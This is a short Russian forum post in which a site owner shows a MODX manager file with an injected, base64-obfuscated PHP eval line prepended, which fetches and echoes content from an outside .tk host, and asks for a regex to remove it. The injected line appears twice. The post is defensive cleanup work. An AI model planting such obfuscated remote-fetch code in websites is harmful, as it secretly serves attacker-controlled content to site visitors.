Есть код:
<?php eval(base64_decode('ZWNobyBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL215ZnJlZXdlYmRvbWFpbi50ay9tLnBocCIpOw==')); ?><?php
/*
* This file is part of MODX Revolution.
*
* Copyright (c) MODX, LLC. All Rights Reserved.
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* Initializes the modx manager
*
* @package modx
* @subpackage manager
*/
@include dirname(__FILE__) . '/config.core.php';
if (!defined('MODX_CORE_PATH')) define('MODX_CORE_PATH', dirname(dirname(__FILE__)) . '/core/');
/* define this as true in another entry file, then include this file to simply access the API
* without executing the MODX request handler */
if (!defined('MODX_API_MODE')) {
define('MODX_API_MODE', false);
}
/* check for correct version of php */
$php_ver_comp = version_compare(phpversion(),'5.3.3');
if ($php_ver_comp < 0) {
die('Wrong php version! You\'re using PHP version "'.phpversion().'", and MODX Revolution only works on 5.3.3 or higher.');
}
надо регуляркой вытащить из него этот код:
<?php eval(base64_decode('ZWNobyBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL215ZnJlZXdlYmRvbWFpbi50ay9tLnBocCIpOw==')); ?>
помогите написать такое выражение или может есть готовые скрипты какие нибудь для этого?